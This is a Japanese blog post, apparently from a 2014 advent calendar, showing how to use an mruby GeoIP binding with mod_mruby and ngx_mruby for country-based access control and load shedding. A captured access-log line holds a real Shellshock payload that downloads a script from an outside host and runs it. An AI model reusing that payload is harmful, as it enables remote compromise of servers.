mod_mruby ngx_mruby advent calendar 2014 13日目の記事になります。
12日目は @ainoya さんの「mod_mrubyでJWTベースの認証proxyを作る」でした。
Apacheでもnginxでも、GeoIPの地理情報を使ってアクセス制御をすることができます。ですが、mod_mrubyやngx_mrubyを使って、同じような書き方でアクセス制御を書いたり、あるいは、他の条件と組み合わせてもっとプログラマブルにアクセス制御したいという要求があります。
そこで、mruby-geoipという、mrubyからGeoIP(City)情報を取得するmgemを作りました。そして、それをmod_mrubyとngx_mrubyと組み合わせる事で、上記のような要求を解決してみました。
今日はmruby-geoipとmod_mruby・ngx_mrubyの組み合わせ例から始まり、最終的にはGeoIPと他のパラメータを利用してアクセス集中対策をする簡単な例を紹介したいと思います。
また、このエントリによって自分が使いたい機能を持ったmgemを作れば、mod_mrubyやngx_mruby共にどんどん夢が広がっていく事もわかるかと思います。
mruby-geoipの簡単な紹介
まずは、前々から欲しかったGeoIPのmruby bindngであるmruby-geoipを簡単に紹介します。といっても、使い方は簡単なので、以下のようなサンプルを見ると大体わかるでしょう。
db_path = "/usr/share/GeoIP/GeoIPCity.dat" host = "www.google.com" geoip = GeoIP.new db_path # You can use record_by_addr when using IP address into host geoip.record_by_name host geoip.country_code #=> "US" geoip.region #=> "CA" geoip.region_name #=> "California" geoip.city #=> "Mountain View" geoip.postal_code #=> "94043" geoip.latitude.round(4) #=> 37.4192 geoip.longitude.round(4) #=> -122.0574 geoip.metro_code #=> 807 geoip.area_code #=> 650 geoip.time_zone #=> "America/Los_Angeles"
このように、ホスト名やIPアドレスから地理情報を得る事ができます。
mod_mrubyでGeoIPを使って国別アクセス制御
では実際に、mod_mrubyとmruby-geoipを連携して国別にアクセス制御する機能を実装してみましょう。
Apacheの設定とフックスクリプト
動作の設計としては、
- workerプロセスが起動するタイミングでGeoIPCity.datを読込み
- リクエストを受けた後のアクセスチェックフェーズで日本以外は拒否
- おまけでレスポンス生成時にGeoIPCityデータから地図上の位置等を生成
という流れにします。 サンプルは以下のようになります。
httpd.conf
mrubyChildInitMiddle /etc/apache2/hooks/geo_init.rb <Location /> mrubyAccessCheckerMiddle /etc/apache2/hooks/geo_check.rb mrubyHandlerMiddle /etc/apache2/hooks/geo_handler.rb </Location>
geo_init.rb
Userdata.new("geoip_#{Process.pid}").geoip = GeoIP.new("/usr/share/GeoIP/GeoIPCity.dat")
geo_check.rb
Server = get_server_class geoip = Userdata.new("geoip_#{Process.pid}").geoip geoip.record_by_addr Server::Connection.new.remote_ip if geoip.country_code != "JP" Server.return Server::HTTP_FORBIDDEN end
geo_hander.rb
Server = get_server_class r = Server::Request.new c = Server::Connection.new geoip = Userdata.new("geoip_#{Process.pid}").geoip r.content_type = "text/html" Server.echo "<HEAD><TITLE>your information</TITLE></HEAD><BODY>" Server.echo "Your IP Address is #{c.remote_ip}<br>" Server.echo "Your Country Code is #{geoip.country_code}<br>" Server.echo "Your city is #{geoip.city}<br>" Server.echo "Your region is #{geoip.region}<br>" Server.echo "your are at <a href='http://maps.google.com/maps?q=#{geoip.latitude},#{geoip.longitude}'>this pin</a><br>" Server.echo "</BODY>"
ブラウザからアクセスすると、IPやカントリーコード情報、Google Map上の位置等がレスポンスとして返って来ます。
簡単ですね。
ngx_mrubyでもGeoIPを使ってアクセス制御
続いてngx_mrubyでも上記と同様の仕組みを実装してみましょう。
nginxの設定とフックスクリプト
・ ・ ・
といっても、勘の良い方はもうすでに分かっていると思いますが、今回実装したフックスクリプトはngx_mrubyでもそのまま動きます。
つまり、nginxの設定に以下の様にスクリプトをフックする設定を書くだけで良いです。
nginx.conf
http { # (snip) mruby_init_worker /etc/apache2/hooks/geo_init.rb; # (snip) server { # (snip) location / { mruby_access_handler /etc/apache2/hooks/geo_check.rb; mruby_content_handler /etc/apache2/hooks/geo_handler.rb; } # (snip) } }
簡単ですね。同様のレスポンスが返ります。
ngx_mrubyでもう少し色々弄ってみる
ngx_mrubyでのサンプルがあまりに簡単なので、もう少しngx_mrubyの場合にどういうことができるか弄ってみます。
ログにカントリーコードを残す
カントリーコードをログに残したい場合もあります。もちろんこれは、既存のnginxのgeoipモジュールでも実現できますが、ngx_mrubyだとどう実装するのかというと、ngx_mrubyで任意のnginxの変数を作ってあげて、そこにカントリーコードをいれておけばよさそうですね。
以下nginxの設定とフックスクリプトになります。上記の設定に追加する形で書きます。
nginx.conf
http { # (snip) mruby_init_worker /etc/apache2/hooks/geo_init.rb; # (snip) # 最後に$geo_countryを追記 log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for" "$geo_country"'; access_log logs/access.log main; server { # (snip) location / { mruby_access_handler /etc/apache2/hooks/geo_check.rb; # $geo_countryにカントリーコードを入れるようにフック作成 mruby_set $geo_country /etc/apache2/hooks/geo_val.rb; mruby_content_handler /etc/apache2/hooks/geo_handler.rb; } # (snip) } }
geo_val.rb
Server = get_server_class geoip = Userdata.new("geoip_#{Process.pid}").geoip geoip.record_by_addr Server::Connection.new.remote_ip geoip.country_code
すると、以下のようにログにちゃんとカントリーコードが出力されましたね。
access.log
***.***.***.*** - - [12/Dec/2014:15:44:04 +0900] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 403 168 "-" "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://qupn.byethost5.com/gH/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1" "-" "MY"
なんかきっついの来てますね...
アクティブコネクションの増減とカントリーコードでアクセス制御
せっかくRubyでGeoIPの情報を利用しつつプログラマブルにアクセス制御を書けるので、他の例も考えてみましょう。
ngx_mrubyの場合
例えば、サーバにアクセスのあるアクティブコネクションの数がある閾値を超えた場合に、優先的に日本以外からのアクセスを一時的に制限する、といったことも可能ですね。
例えば以下のように書くと、
geo_dos_ngx_mruby.rb
Server = get_server_class dos_limit = 1000 geoip = Userdata.new("geoip_#{Process.pid}").geoip geoip.record_by_addr Server::Connection.new.remote_ip r = Server::Request.new if r.var.connections_active.to_i > dos_limit if geoip.country_code != "JP" Server.return Server:: HTTP_SERVICE_UNAVAILABLE end end
アクティブコネクションが1000を越えだしたら、カントリーコードがJP以外はHTTP_SERVICE_UNAVAILABLEを返す、といったような処理になります。これをmruby_access_handler
でフックさせると良いでしょう。
非常に簡単に書けますね。
mod_mrubyの場合
ついでなので、mod_mrubyの場合も考えてみましょう。mod_mrubyではApahce::Scoreboard
でアクセス状況が色々と取得できるので、それを利用しましょう。
busyworkerが全体のworkerの90%を占めたら日本からのアクセスだけを許可する場合は以下のようなコードになるでしょう。
geo_dos_mod_mruby.rb
Server = get_server_class busy_limit = 90 geoip = Userdata.new("geoip_#{Process.pid}").geoip geoip.record_by_addr Server::Connection.new.remote_ip sb = Server::Scoreboard.new busy_rate = sb.busy_worker / (sb.server_limit * sb.thread_limit) * 100 if busy_rate > busy_limit if geoip.country_code != "JP" Server.return Server:: HTTP_SERVICE_UNAVAILABLE end end
これまた簡単ですね。
まとめ
ということで、今回はGeoIPのmgemを作ることで、mod_mrubyやngx_mrubyで同様のコードでアクセス制御を実装できたり、他のサーバ情報と組み合わせる事で、単一のGeoIP機能を使うよりも、より高度なアクセス制御を実装できる事を確認できました。
また、mruby-geoipのように、自分の欲しい機能をmgemとして実装することで、mod_mrubyやngx_mrubyでどんどん応用される事ができ、Webサーバの振る舞いをプログラミングするという視点でどんどん夢が広がりますね。
是非、色々な機能をmgemで作って遊んでみてください。
ということで、mod_mruby ngx_mruby advent calendar 14日目は @takipone さんの「AWSとの組み合わせネタ書きます!」です。お楽しみに!